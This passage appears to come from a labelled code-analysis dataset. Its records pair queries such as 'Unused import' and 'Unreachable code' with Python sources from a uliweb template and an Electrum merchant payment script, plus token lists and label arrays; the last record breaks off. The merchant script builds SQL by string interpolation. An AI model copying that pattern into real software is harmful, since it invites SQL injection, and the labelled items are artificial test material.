"args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "options_", "._", "weighted_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "k_", ",_", "r_", "in_", "logs", "ample", "\\u", "weighted_", "(_", "fh_", "=_", "sys_", "._", "stdin_", ",_", "*_", "args_", ",_", "**_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "r_", "in_", "logs", "ample", "_", "(_", "fh_", "=_", "sys_", "._", "stdin_", ",_", "*_", "args_", ",_", "**_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
limodou/uliweb/uliweb/template_files/app/views.py
[ { "content": "#coding=utf-8\nfrom uliweb import expose, functions\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@expose('/')\ndef index():\n return '<h1>Hello, Uliweb</h1>'", "metadata": "root.index", "header": "['module', '___EOS___']", "index": 3 } ]
[ { "span": "from uliweb import expose, functions", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 36 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "codi", "ng", "=", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "uli", "web_", "import_", "expose_", ",_", "functions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "expose_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "index_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'<", "h1", ">", "Hell", "o", ",", " ", "Ul", "iw", "eb", "</", "h1", ">'_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
bitxbay/BitXBay/electru/scripts/merchant/merchant.py
[ { "content": "#!/usr/bin/env python\n#\n# Electrum - lightweight Bitcoin client\n# Copyright (C) 2011 thomasv@gitorious\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\n\nimport time, thread, sys, socket, os\nimport urllib2,json\nimport Queue\nimport sqlite3\nfrom electrum import Wallet, WalletStorage, SimpleConfig, Network, set_verbosity\nset_verbosity(False)\n\nimport ConfigParser\nconfig = ConfigParser.ConfigParser()\nconfig.read(\"merchant.conf\")\n\nmy_password = config.get('main','password')\nmy_host = config.get('main','host')\nmy_port = config.getint('main','port')\n\ndatabase = config.get('sqlite3','database')\n\nreceived_url = config.get('callback','received')\nexpired_url = config.get('callback','expired')\ncb_password = config.get('callback','password')\n\nwallet_path = config.get('electrum','wallet_path')\nmaster_public_key = config.get('electrum','mpk')\nmaster_chain = config.get('electrum','chain')\n\n\npending_requests = {}\n\nnum = 0\n\n\n\n\n# this process detects when addresses have received payments\n\n\nstopping = False\n\n\n\n\n\n \n\n\n\n\n\n\nif __name__ == '__main__':\n\n if len(sys.argv) > 1:\n cmd = sys.argv[1]\n params = sys.argv[2:] + [my_password]\n ret = send_command(cmd, params)\n sys.exit(ret)\n\n conn = sqlite3.connect(database);\n # create table if needed\n check_create_table(conn)\n\n # init network\n config = SimpleConfig({'wallet_path':wallet_path})\n network = Network(config)\n network.start(wait=True)\n\n # create watching_only wallet\n storage = WalletStorage(config)\n wallet = Wallet(storage)\n if not storage.file_exists:\n wallet.seed = ''\n wallet.create_watching_only_wallet(master_chain,master_public_key)\n\n wallet.synchronize = lambda: None # prevent address creation by the wallet\n wallet.start_threads(network)\n network.register_callback('updated', on_wallet_update)\n \n out_queue = Queue.Queue()\n thread.start_new_thread(server_thread, (conn,))\n\n while not stopping:\n cur = conn.cursor()\n\n # read pending requests from table\n cur.execute(\"SELECT address, amount, confirmations FROM electrum_payments WHERE paid IS NULL;\")\n data = cur.fetchall()\n\n # add pending requests to the wallet\n for item in data: \n addr, amount, confirmations = item\n if addr in pending_requests: \n continue\n else:\n with wallet.lock:\n print \"subscribing to %s\"%addr\n pending_requests[addr] = {'requested':float(amount), 'confirmations':int(confirmations)}\n wallet.synchronizer.subscribe_to_addresses([addr])\n wallet.up_to_date = False\n\n try:\n cmd, params = out_queue.get(True, 10)\n except Queue.Empty:\n cmd = ''\n\n if cmd == 'payment':\n addr = params\n # set paid=1 for received payments\n print \"received payment from\", addr\n cur.execute(\"update electrum_payments set paid=1 where address='%s'\"%addr)\n\n elif cmd == 'request':\n # add a new request to the table.\n addr, amount, confs, minutes = params\n sql = \"INSERT INTO electrum_payments (address, amount, confirmations, received_at, expires_at, paid, processed)\"\\\n + \" VALUES ('%s', %f, %d, datetime('now'), datetime('now', '+%d Minutes'), NULL, NULL);\"%(addr, amount, confs, minutes)\n print sql\n cur.execute(sql)\n\n # set paid=0 for expired requests \n cur.execute(\"\"\"UPDATE electrum_payments set paid=0 WHERE expires_at < CURRENT_TIMESTAMP and paid is NULL;\"\"\")\n\n # do callback for addresses that received payment or expired\n cur.execute(\"\"\"SELECT address, paid from electrum_payments WHERE paid is not NULL and processed is NULL;\"\"\")\n data = cur.fetchall()\n for item in data:\n address, paid = item\n paid = bool(paid)\n headers = {'content-type':'application/json'}\n data_json = { 'address':address, 'password':cb_password, 'paid':paid }\n data_json = json.dumps(data_json)\n url = received_url if paid else expired_url\n req = urllib2.Request(url, data_json, headers)\n try:\n response_stream = urllib2.urlopen(req)\n cur.execute(\"UPDATE electrum_payments SET processed=1 WHERE id=%d;\"%(id))\n except urllib2.HTTPError:\n print \"cannot do callback\", data_json\n except ValueError, e:\n print e\n print \"cannot do callback\", data_json\n \n conn.commit()\n\n conn.close()\n print \"Done\"\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "conn.close()", "start_line": 241, "start_column": 4, "end_line": 241, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Elect", "rum", " ", "-", " ", "light", "weight", " ", "Bit", "coin", " ", "client_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2011", " ", "tho", "mas", "v", "@", "git", "ori", "ous_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "program", " ", "is", " ", "free", " ", "software", ":", " ", "you", " ", "can", " ", "redis", "tribut", "e", " ", "it", " ", "and", "/", "or", " ", "modify_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "it", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", " ", "as", " ", "publi", "shed", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "Free", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on", ",", " ", "eit", "her", " ", "version", " ", "3", " ", "of", " ", "the", " ", "License", ",", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "at", " ", "your", " ", "option", ")", " ", "any", " ", "late", "r", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "program", " ", "is", " ", "distributed", " ", "in", " ", "the", " ", "hop", "e", " ", "tha", "t", " ", "it", " ", "will", " ", "be", " ", "usef", "ul", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "WITH", "OUT", " ", "ANY", " ", "WAR", "RAN", "TY", ";", " ", "with", "out", " ", "even", " ", "the", " ", "impli", "ed", " ", "warr", "ant", "y", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "or", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", ".", " ", "See", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", " ", "for", " ", "more", " ", "deta", "il", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "shou", "ld", " ", "have", " ", "receive", "d", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "along", " ", "with", " ", "this", " ", "program", ".", " ", "If", " ", "not", ",", " ", "see", " ", "<", "http", "://", "www", ".", "gnu", ".", "org", "/", "license", "s", "/>", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "time_", ",_", "thread_", ",_", "sys_", ",_", "socket_", ",_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", ",_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Queue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sqlite3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "electr", "um_", "import_", "Wallet_", ",_", "Wall", "et", "Storage_", ",_", "Simple", "Config_", ",_", "Network_", ",_", "set\\u", "verbosity_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "set\\u", "verbosity_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "Config", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "=_", "Config", "Parser_", "._", "Config", "Parser_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "._", "read_", "(_", "\"", "merchant", ".", "conf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "\\u", "password_", "=_", "config_", "._", "get_", "(_", "'", "main", "'_", ",_", "'", "password", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "\\u", "host_", "=_", "config_", "._", "get_", "(_", "'", "main", "'_", ",_", "'", "host", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "\\u", "port_", "=_", "config_", "._", "getint_", "(_", "'", "main", "'_", ",_", "'", "port", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "database_", "=_", "config_", "._", "get_", "(_", "'", "sql", "ite", "3", "'_", ",_", "'", "databa", "se", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "receive", "d\\u", "url_", "=_", "config_", "._", "get_", "(_", "'", "callback", "'_", ",_", "'", "receive", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expir", "ed", "\\u", "url_", "=_", "config_", "._", "get_", "(_", "'", "callback", "'_", ",_", "'", "expir", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cb", "\\u", "password_", "=_", "config_", "._", "get_", "(_", "'", "callback", "'_", ",_", "'", "password", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "walle", "t", "\\u", "path_", "=_", "config_", "._", "get_", "(_", "'", "electr", "um", "'_", ",_", "'", "walle", "t", "\\u", "path", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "master", "\\u", "public", "\\u", "key_", "=_", "config_", "._", "get_", "(_", "'", "electr", "um", "'_", ",_", "'", "mp", "k", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "master", "\\u", "chain_", "=_", "config_", "._", "get_", "(_", "'", "electr", "um", "'_", ",_", "'", "chain", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pend", "ing", "\\u", "requests_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "process", " ", "detect", "s", " ", "whe", "n", " ", "addresse", "s", " ", "have", " ", "receive", "d", " ", "payments", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stopping", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "sys_", "._", "argv_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "sys_", "._", "argv_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "sys_", "._", "argv_", "[_", "2_", ":_", "]_", "+_", "[_", "my", "\\u", "password_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "send", "\\u", "command_", "(_", "cmd_", ",_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "conn_", "=_", "sqlite3_", "._", "connect_", "(_", "database_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "table", " ", "if", " ", "needed_", "\\u\\u\\uNL\\u\\u\\u_", "check", "\\u", "create", "\\u", "table_", "(_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "init", " ", "network_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "=_", "Simple", "Config_", "(_", "{_", "'", "walle", "t", "\\u", "path", "'_", ":_", "walle", "t", "\\u", "path_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "network_", "=_", "Network_", "(_", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "network_", "._", "start_", "(_", "wait_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "watch", "ing", "\\u", "only", " ", "wallet_", "\\u\\u\\uNL\\u\\u\\u_", "storage_", "=_", "Wall", "et", "Storage_", "(_", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wallet_", "=_", "Wallet_", "(_", "storage_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "storage_", "._", "file", "\\u", "exists_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wallet_", "._", "seed_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wallet_", "._", "create", "\\u", "watch", "ing", "\\u", "only", "\\u", "wallet_", "(_", "master", "\\u", "chain_", ",_", "master", "\\u", "public", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "wallet_", "._", "synchronize", "_", "=_", "lambda_", ":_", "None_", "#", " ", "prevent", " ", "address", " ", "creati", "on", " ", "by", " ", "the", " ", "wallet_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wallet_", "._", "start", "\\u", "threads_", "(_", "network_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "network_", "._", "register", "\\u", "callback_", "(_", "'", "update", "d", "'_", ",_", "on", "\\u", "walle", "t", "\\u", "update_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out", "\\u", "queue_", "=_", "Queue_", "._", "Queue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start", "\\u", "new", "\\u", "thread_", "(_", "server", "\\u", "thread_", ",_", "(_", "conn_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "not_", "stopping", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur_", "=_", "conn_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "read", " ", "pend", "ing", " ", "request", "s", " ", "from", " ", "table_", "\\u\\u\\uNL\\u\\u\\u_", "cur_", "._", "execute_", "(_", "\"", "SELECT", " ", "address", ",", " ", "amo", "unt", ",", " ", "confirmation", "s", " ", "FROM", " ", "electr", "um", "\\u", "payments", " ", "WHE", "RE", " ", "paid", " ", "IS", " ", "NULL", ";\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "cur_", "._", "fetchall_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "pend", "ing", " ", "request", "s", " ", "to", " ", "the", " ", "wallet_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr_", ",_", "amount_", ",_", "confirmation", "s_", "=_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "addr_", "in_", "pend", "ing", "\\u", "requests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "wallet_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"", "subsc", "rib", "ing", " ", "to", " ", "%", "s", "\"_", "%_", "addr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pend", "ing", "\\u", "requests_", "[_", "addr_", "]_", "=_", "{_", "'", "request", "ed", "'_", ":_", "float_", "(_", "amount_", ")_", ",_", "'", "confirmation", "s", "'_", ":_", "int_", "(_", "confirmation", "s_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wallet_", "._", "synchronize", "r_", "._", "subscribe", "\\u", "to", "\\u", "addresses_", "(_", "[_", "addr_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wallet_", "._", "up", "\\u", "to", "\\u", "date_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", ",_", "params_", "=_", "out", "\\u", "queue_", "._", "get_", "(_", "True_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cmd_", "==_", "'", "pay", "ment", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "set", " ", "paid", "=", "1", " ", "for", " ", "receive", "d", " ", "payments", "_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"", "receive", "d", " ", "pay", "ment", " ", "from", "\"_", ",_", "addr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "._", "execute_", "(_", "\"", "update", " ", "electr", "um", "\\u", "payments", " ", "set", " ", "paid", "=", "1", " ", "where", " ", "address", "='", "%", "s", "'\"_", "%_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cmd_", "==_", "'", "request", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "new", " ", "request", " ", "to", " ", "the", " ", "table", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr_", ",_", "amount_", ",_", "confs_", ",_", "minutes_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sql_", "=_", "\"", "INSERT", " ", "INT", "O", " ", "electr", "um", "\\u", "payments", " ", "(", "address", ",", " ", "amo", "unt", ",", " ", "confirmation", "s", ",", " ", "receive", "d\\u", "at", ",", " ", "expir", "es", "\\u", "at", ",", " ", "paid", ",", " ", "process", "ed", ")\"_", "+_", "\"", " ", "VALU", "ES", " ", "('", "%", "s", "',", " ", "%", "f", ",", " ", "%", "d", ",", " ", "datetime", "('", "now", "')", ",", " ", "datetime", "('", "now", "',", " ", "'+", "%", "d", " ", "Minute", "s", "')", ",", " ", "NULL", ",", " ", "NULL", ");\"_", "%_", "(_", "addr_", ",_", "amount_", ",_", "confs_", ",_", "minutes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "sql_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "._", "execute_", "(_", "sql_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "paid", "=", "0", " ", "for", " ", "expir", "ed", " ", "request", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cur_", "._", "execute_", "(_", "\"\"\"", "UPDATE", " ", "electr", "um", "\\u", "payments", " ", "set", " ", "paid", "=", "0", " ", "WHE", "RE", " ", "expir", "es", "\\u", "at", " ", "<", " ", "CURREN", "T", "\\u", "TIMES", "TAM", "P", " ", "and", " ", "paid", " ", "is", " ", "NULL", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "do", " ", "callback", " ", "for", " ", "addresse", "s", " ", "tha", "t", " ", "receive", "d", " ", "pay", "ment", " ", "or", " ", "expired_", "\\u\\u\\uNL\\u\\u\\u_", "cur_", "._", "execute_", "(_", "\"\"\"", "SELECT", " ", "address", ",", " ", "paid", " ", "from", " ", "electr", "um", "\\u", "payments", " ", "WHE", "RE", " ", "paid", " ", "is", " ", "not", " ", "NULL", " ", "and", " ", "process", "ed", " ", "is", " ", "NULL", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "cur_", "._", "fetchall_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "address_", ",_", "paid", "_", "=_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "paid", "_", "=_", "bool_", "(_", "paid", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "{_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "json_", "=_", "{_", "'", "address", "'_", ":_", "address_", ",_", "'", "password", "'_", ":_", "cb", "\\u", "password_", ",_", "'", "paid", "'_", ":_", "paid", "_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "data\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "receive", "d\\u", "url_", "if_", "paid", "_", "else_", "expir", "ed", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "urllib2_", "._", "Request_", "(_", "url_", ",_", "data\\u", "json_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "stream_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "._", "execute_", "(_", "\"", "UPDATE", " ", "electr", "um", "\\u", "payments", " ", "SET", " ", "process", "ed", "=", "1", " ", "WHE", "RE", " ", "id", "=", "%", "d", ";\"_", "%_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "cann", "ot", " ", "do", " ", "callback", "\"_", ",_", "data\\u", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", 